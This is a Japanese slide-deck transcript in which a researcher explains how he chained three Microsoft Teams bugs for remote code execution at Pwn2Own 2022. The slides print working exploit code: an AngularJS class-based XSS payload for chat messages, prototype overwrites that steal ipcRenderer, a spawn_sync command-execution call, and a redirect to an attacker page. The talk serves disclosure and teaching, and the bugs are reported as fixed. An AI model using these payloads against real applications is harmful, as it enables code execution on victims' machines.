Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

Pwn2Ownで Microsoft Teamsをハッキングして 2000万円を獲得した方法 2023/7/25 Shibuya.XSS techtalk #12 Masato
Kinugawa

自己紹介 • Masato Kinugawa • 好きな脆弱性はXSS • 2010～2016: 専業バグハンター •
2016～: Cure53で脆弱性診断

今日の話 • 2022年5月に開催されたハッキングコンテストで賞金を獲得した、 Microsoft Teamsで任意のコードを実行可能だった脆弱性について話します • 技術以外の話題についてはポッドキャスト「Web & Browser
Security」の「Webセキュリティのアレ」回で！ https://podcasters.spotify.com/pod/show/shhnjk/episodes/Web-e1s9jjl/a-a923e6v

Pwn2Own (ポウンツーオウン)とは • トレンドマイクロが運営する脆弱性発見コミュニティZDI(Zero Day Initiative)によるハッキングコンテスト • 2007年から開催 • 特定の製品の(主に)任意コード実行のデモを決められた時間内
に達成すると成功、賞金が支払われる • 当日のデモの様子： https://youtu.be/3fWo0E6Pa34?t=238 • 報告された脆弱性はベンダーに通知される

ターゲットの例(Pwn2Own Vancouver 2022の場合) • ブラウザ(Chrome, Edge, Firefox, Safari) • デスクトップアプリ(Teams,
Zoom, Adobe Reader, Office 365) • 自動車(Tesla) • VM(Virtual Box, VMware, Hyper-V) • サーバー(Microsoft Exchange, SharePoint, Windows RDP, Samba) • OS(Windows/Ubuntuの権限昇格の脆弱性) Pwn2Own Vancouver 2022 Rules (Web Archive): https://web.archive.org/web/20220516223600/https://www.zerodayiniti ative.com/Pwn2OwnVancouver2022Rules.html

Microsoft Teamsについて • 言わずと知れたMicrosoft製のチャットやビデオ通話のできるコミュニケーションツール • 2つのバージョンが存在し、利用される技術が異なる • 1.x: Electron
←コンテストの対象はこっち • 2.x: Edge WebView

発見した脆弱性 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行 ➡ これらを組み合わせて任意コード実行を達成

発見した脆弱性 1 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行

Electronとは • HTML/CSS/JavaScript(Node.js)を使ってデスクトップアプリケーションを作成するためのフレームワーク • GitHubによって開発 • Electronアプリの例 • Visual
Studio Code • Discord • Slack • GitHub Desktop • Figma

こんな風に動く const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let win
= new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); }); <html> <body> <h1>Hello Electron!</h1> </body> </html> メインプロセス (ブラウザ本体のイメージ) レンダラプロセス (ブラウザのタブのイメージ) main.js: index.html: • 2種類のプロセスが存在 • ブラウザ部分はChromium

最初に注目するところ const {BrowserWindow,app} = require('electron'); app.on('ready', function() { let win
= new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`); }); <html> <body> <h1>Hello Electron!</h1> </body> </html> メインプロセス (ブラウザ本体のイメージ) レンダラプロセス (ブラウザのタブのイメージ) main.js: まずはここに注目する index.html:

BrowserWindow • ブラウザウィンドウを作るAPI • このAPIのオプションに注目する • オプションによってRCEの起こりやすさが変わってくる new BrowserWindow({ webPreferences:
{ nodeIntegration: false, contextIsolation: false, sandbox: true [...] } }); 注目すべきオプション：

nodeIntegration • Webページ上でNode API(およびElectronのレンダラプロセスモジュール)を有効にするかどうか • 有効時、任意のJSを実行できれば直接require()してRCEできることになる require('child_process').exec('calc'); 今回は無効

contextIsolation • Webページ側とNode APIを使う部分の間のJSのコンテキストを分離するかどうか • Node APIを使う部分： • Electron内部のコード
• Preloadスクリプト(開発者がレンダラ上で一部Node APIを使いたいときに使うもの。nodeIntegrationが無効でも使える。) これがないとどうなる？➡ 今回は無効

contextIsolationがないと… • 任意のJSを実行可能時、プロトタイプの書き換えなどによって nodeIntegrationが無効でもNode APIにアクセスされ得る //Web page Function.prototype.call = function(arg)
{ arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature); }

contextIsolationがないと… • 任意のJSを実行可能時、プロトタイプの書き換えなどによって nodeIntegrationが無効でもNode APIにアクセスされ得る //Web page Function.prototype.call = function(arg)
{ arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called }

contextIsolation:true なら • プロトタイプの書き換えはNode APIが利用できる部分に影響せず、このトリックでRCEされることは無くなる //Web page Function.prototype.call =
function(arg) { arg.someDangerousNodeJSFunction(); } // Preload script or Electron internal code function someFunc(handler) { handler.call(objectContainingNodeJSFeature);//called } Built-inの Function.prototype.callが呼ばれる

sandbox • Chromiumのサンドボックスを使うかどうか • falseは Chromeを--no-sandbox フラグ付きで実行した状態と同じ • falseにするとメモリ破壊などのバグでRCEが容易に •
有効時はさらに、preloadスクリプトなどのNode APIが利用できるコンテキストで一部APIが使えなくなる • プログラム・OSコマンドを実行できるもの(例: shell.openExternal) • クリップボードにいきなりアクセスするもの(clipboard モジュール) • ローカルファイルにアクセスできるもの今回は有効

オプションから言えること new BrowserWindow({ webPreferences: { nodeIntegration: false, contextIsolation: false, sandbox:
true } }); ➡任意のJS実行可能時、 sandboxによりRCEに直接繋がるような Node APIへのアクセスは制限されるが、contextIsolationの欠如によりそれ以外のNode APIへのアクセスは得られるかもしれない状態

Node APIへのアクセスを試みる • 様々なBuilt-inメソッドのプロトタイプを上書して悪用可能な Node APIへの参照がとれないか試していると… • 上書きしたFunction.prototype.callからipcRendererモジュールへの参照がやって来た <script>
Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === "__webpack_require__") { ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; } return this._call(...args); } </script>

ipcRendererモジュール const { ipcMain } = require('electron'); [...] ipcMain.handle('test', (evt,
msg) => { console.log(msg);//hello return 'hey'; }); <h1>Hello Electron!</h1> メインプロセス main.js: index.html: レンダラからメインプロセスとIPC通信する時に使う const { ipcRenderer } = require('electron'); ipcRenderer.invoke('test','hello'); .then(msg=>{ console.log(msg);//hey }); preload.js: ➡メインプロセスは完全なNode APIへのアクセスがあるのでメッセージの処理が迂闊な部分があればRCEが起きるかもレンダラプロセス

ここまでを踏まえ 1 任意のJSを実行する方法を探す • XSS • 任意のサイトへのリダイレクト 2 RCEに繋がる部分を探す •
1で奪ったipcRendererモジュールへの参照からIPCを通じてRCEに繋がる箇所がないか • sandbox:true でもRCEに直接繋がるAPIが公開されてないか(Electronの0- dayを見つける) contextIsolationが無く、ipcRendererの参照が取れることが分かったここからRCEするには：

任意のJSを実行するアイデア • XSS • 任意のサイトへのリダイレクト • この手のRCEをするとき実行されるオリジンは通常重要でない • JSさえ実行できればNode APIを使う部分に干渉できるため
• なお、Pwn2Ownのルール上、ユーザー操作なしにRCEを達成する必要がある • アプリやメッセージを開いただけで発火など有望そうなチャットメッセージを見ていくことにする➡

HTMLサニタイザを見る • チャットメッセージでは一部のHTML/CSSが使える • サーバとクライアント側それぞれでサニタイズを行った上でHTMLを表示 ➡サーバ側のサニタイズはブラックボックスのためクライアント側のJSからサニタイズ動作を推測することにする

クライアント側のサニタイズ • sanitize-htmlライブラリを使用 https://github.com/apostrophecms/sanitize-html • サニタイズされるものの例 • スクリプトの実行(XSS)に繋がるHTML要素・属性 • レイアウトを破壊するCSS
意外にもここで CSS周りのサニタイズをチェックしたことが XSSの発見へ繋がることになる…➡

classのサニタイズ • クライアント側のJavaScriptでclass名の許可リストらしき文字列を発見 e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*"
• これらのclass付きのHTMLを投稿するとサーバ/クライアント側のサニタイズを通過できた • アスタリスクはワイルドカードとして作用する様子

ワイルドカード(swift-*)の動作 • class名のセパレータ(0x20とか)以外はなんでも通る様子 <strong class="swift-abc">test</strong> <strong class="swift-;[]()'%">test</strong> ところが…アイツのせいで JavaScriptの実行に繋がる？！ ➡
完全に任意のclass名は追加できないから問題なし？

アイツ = AngularJS • Teamsは一部ページでクライアント側のフレームワークに AngularJSを使用していた • チャットメッセージ表示部もそのうちの1つ • 最近はReactに置き換えつつある様子
AngularJSといえば➡

XSSer ♥ AngularJS • AngularJSはXSSerにとって都合の良いライブラリ • HTMLタグを使わずテンプレート記法( {{}} )でXSSできたり •
unsafe-eval不要のCSPバイパスも導入しうる <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app> {{constructor.constructor('alert(1)')()}} </div> <meta http-equiv=Content-Security-Policy content="script-src ajax.googleapis.com"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app> <img src=x ng-on-error=$event.target.ownerDocument.defaultView.alert(1)> </div>

過去に発見されたXSS • 過去にもTeamsでAngularJSを通じたXSSが発見されている • テンプレート記法の間にヌル文字を挟むとフィルターをバイパスできていた {{3*333}\u0000} 詳細：https://github.com/oskarsve/ms-teams-rce ➡SPAのTeamsでこれが起こるということは… ユーザー入力から動的にAngularJSのHTMLとして
(ng-appの内側にあるHTMLのように)コンパイルしている？他にもAngularJS経由のXSSが起こる箇所があるのでは？ AngularJSのドキュメントを読んでいくと…

ngInitディレクティブ (1/2) • テンプレートが実行される前の初期化に使われる • 以下でHello World!が出力される <html ng-app> <script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <strong ng-init="greeting='Hello'; person='World'"> {{greeting}} {{person}}! </strong> </html> <strong ng-init="constructor.constructor('alert(1)')()"></strong> この属性値はAngularJS式と評価されるので以下で任意JSが動く： ng-init属性はもちろんサニタイズされるが…➡

ngInitディレクティブ (2/2) • ngInitはclassからも使える • 次の2つは等価： <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> </div> <ANY ng-init="expression"> ... </ANY> <ANY class="ng-init: expression;"> ... </ANY> 公式のドキュメント：https://docs.angularjs.org/api/ng/directive/ngInit 以下もAngularJS式と評価される： classからJSが動いた！ ※ ng-classやng-styleなどでも動く。

classディレクティブの取り出し方 <strong class="ng-init:expression">aaa</strong> <strong class="aaa;ng-init:expression">aaa</strong> <strong class="aaa!ng-init:expression">aaa</strong> <strong class="aaa♩♬♪ng-init:expression">aaa</strong> CLASS_DIRECTIVE_REGEXP
= /(([\w-]+)(?::([^;]+))?;?)/, 正規表現で取り出していた：以下は全てngInitディレクティブとして動く： https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384 classに swift-* が許される動作と組み合わせると…➡

XSS！ • 次のHTMLをチャットに投稿したらJSが実行された <strong class="swift-x;ng- init:['alert(document.domain)'].forEach($root.$$childHead.$$nextSibl ing.app.$window.eval)">aaa</strong> ※なお、ここで今まで使ってきたconstructorを使っていないのはAngularJSのバージョンによって任意の JS実行を防止するサンドボックス(どのバージョンも不完全)があり直接constructorを使えなかったため参考：Gareth
Heyesさんによるバージョン毎のAngularJS sandbox bypassのまとめ https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs 目標はあくまでRCE、さらに続く！➡

ここまでで出来たこと • 任意のJSは実行できた • それを使ってcontextIsolationの欠如を利用しIPCRendererモジュールへの参照を取得できた RCEにつながりうる迂闊なことをするIPCリスナーがないかチェックしていくとPluginHostというレンダラが目を引いた➡

PluginHost • PluginHostと名付けられたinvisibleなレンダラが存在 • ここに読み込まれたslimcoreと呼ばれるNodeモジュールをメインウィンドウ側からIPC経由で操作している様子 • ここは sandbox: false
• slimcoreの実行にsandboxが障害になるから？ "C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app- path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost

slimcoreはどう実行されるか • PluginHost上のpreloadスクリプトでIPCリスナーを設定し、メインウィンドウから送信されたメッセージを受け取って実行 • メインウィンドウからsendToRendererSyncというAPI(参照を取得できたオブジェクトに存在)を使うとメッセージを送信可能 • このAPIはipcRendererモジュールに本来存在しないのでMSが独自に拡張したもの？
ELECTRON_REMOTE_SERVER_REQUIRE ELECTRON_REMOTE_SERVER_MEMBER_GET ELECTRON_REMOTE_SERVER_FUNCTION_CALL こんな名前のIPCリスナーが存在：

IPCリスナーの役割 • ELECTRON_REMOTE_SERVER_REQUIRE • require()をメッセージで指定された値を引数にして呼び出す • ただしバリデーションが存在し"slimcore"など一部のモジュールのみロード可 • ELECTRON_REMOTE_SERVER_MEMBER_GET •
メッセージで指定された値にプロパティアクセスを行う • ELECTRON_REMOTE_SERVER_FUNCTION_CALL • メッセージで指定された値を引数にして関数呼び出しを行う • (SETやその他の操作のリスナーもある)

こういう風に呼び出せるイメージ require('slimcore').func('arg'); 1. ELECTRON_REMOTE_SERVER_REQUIREを送る 3. ELECTRON_REMOTE_SERVER_FUNCTION_CALLを送る 2. ELECTRON_REMOTE_SERVER_MEMBER_GETを送るふむ、何だかにおうぞ…➡

MEMBER_GETのプロパティアクセスに注目する ELECTRON_REMOTE_SERVER_MEMBER_GETの中身： P(c.remoteServerMemberGet, (e,t,n,o)=>{ const i = s.objectsRegistry.get(n); if (null
== i) throw new Error(`Cannot get property '${o}' on missing remote object ${n}`); return A(e, t, ()=>i[o]) } ) i がアクセス対象、oがアクセスするプロパティ。アクセスはhasOwnProperty()などの一切のチェックなしに行われている、これが意味するのは…➡

プロトタイプへのアクセスが許される require('slimcore').toString.constructor('js-code')(); 1. REQUIRE 4. FUNCTION_CALL 2. MEMBER_GET 3. MEMBER_GET
5. FUNCTION_CALL これによりconstructorからFunction()にアクセスし任意のJSを実行できた：

これで何ができる？ • 評価はpreloadスクリプト内で行われている • つまりNode APIへのアクセスがあるコンテキスト！ • さらにsandbox:false なので使えるAPIの制限は緩い！！このコンテキストでRCEする方法
➡

process.binding • Node.js内部で使われるrequireのようなもの • sandbox: false のときしか使えない • child_process中ではbinding('spawn_sync')が使われていて、この時の呼び出しを真似ればコマンド実行が可能：
a = { "type": "pipe", "readable": 1, "writable": 1 }; b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] }; process.binding("spawn_sync").spawn(b); これは@CapacitorSet & @denysvitaliさんによるMath.jsのRCEから学んだ：https://jwlss.pw/mathjs/

補足：require()は使えないの？ require('slimcore') .toString.constructor("require('child_process')...")(); 直接 require('child_process') を呼べばいいんじゃ？これは動かない、なぜか ➡

requireが動かない理由 Function()はグローバルスコープで実行される関数を作成するため 1: function (exports, require, module, __filename, __dirname) {
console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); } 2: function 3: undefined console.log(`1: ${arguments.callee.toString()}`); console.log(`2: ${eval('typeof require')}`); console.log(`3: ${constructor.constructor('typeof require')()}`); ➡ preloadスクリプトとしてロードすると関数のスコープにある

別のコマンド実行の方法 • Pwn2Own参加者の@adm1nkyj1 & @jinmo123さんもIPCを通じたコマンド実行の方法を発見していた模様 • ただしコマンド実行の方法が異なり、preloadスクリプト内で使用されるevalを利用して require('child_process')していた詳細:
https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview function loadSlimCore(slimcoreLibPath) { let slimcore; if (utility.isWebpackRuntime()) { const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\"); slimcore = eval(`require('${slimcoreLibPathWebpack}')`); [...] } [...] } String.prototype.replaceを書き換えてこの戻り値を好きに変更任意の文字列がevalに渡る (direct eval callのため関数のスコープで実行、この場合requireへのアクセスがある )

全てのバグがそろった！ 1. メインウィンドウでのContext Isolationの欠如 2. チャットメッセージを通じたXSS 3. PluginHostを通じたサンドボックス外でのJS実行電卓起動までの道のりをみてみよう！ ➡

再現手順 1. 攻撃者は次のJSを含むページを用意する <script> Function.prototype._call = Function.prototype.call; Function.prototype.call = function(...args)
{ if (args[3] && args[3].name === "__webpack_require__") { ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; } return this._call(...args); } </script> 次のページにIPCを送信するコードが続く... <script> ... ipcRendererモジュールへの参照を取得するコード：

再現手順 2. こんなHTMLをチャットメッセージとして投稿 <strong class="swift-x;ng- init:['eval(decodeURIComponent(\'setTimeout(function()%7Blocation.replace(%27//at tacker.example.com/poc.html%27)%7D,10000)\'))'].forEach($root.$$childHead.$$nextS ibling.app.$window.eval)">aaa</strong>

再現手順 evalを解いて簡単にすると10秒後に攻撃者のサイトへナビゲーションするコードを実行するだけ setTimeout(function(){ location.replace('//attacker.example.com/poc.html'); },10000); さっき用意したページ ※ setTimeoutの待ち時間は実際には不要。デモを判りやすくするためにあります。

再現手順 3. 犠牲者はメッセージを開く(XSSがトリガーされる)

再現手順暫くするとナビゲーションが発生し細工されたページへ (https://attacker.example.com/poc.html)

再現手順とつぜん電卓が起動！！！！ (https://attacker.example.com/poc.html) DEMO: https://youtu.be/TMh_WbF9VnM

全て修正された • contextIsolation: 有効になった • XSS: アスタリスクの部分で使える文字列が厳密になった • PluginHost: contextIsolationを無効にして、CSPを適用する
ことでpreloadスクリプトでevalできないようにしたっぽい？ • 特定のElectronバージョンではcontextIsolation無効だとpreloadスクリプトにもCSPが効くようだ • 最新のElectron(v25+)で試したらそもそもpreloadスクリプト中で evalが禁止されていた • "Uncaught EvalError: Code generation from strings disallowed for this context"

以上です • Pwn2Ownで賞金を獲得した脆弱性について話しました • 皆も挑戦してみてね！

Thanks!! @kinugawamasato

Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12

More Decks by Masato Kinugawa

Other Decks in Technology

Featured

Transcript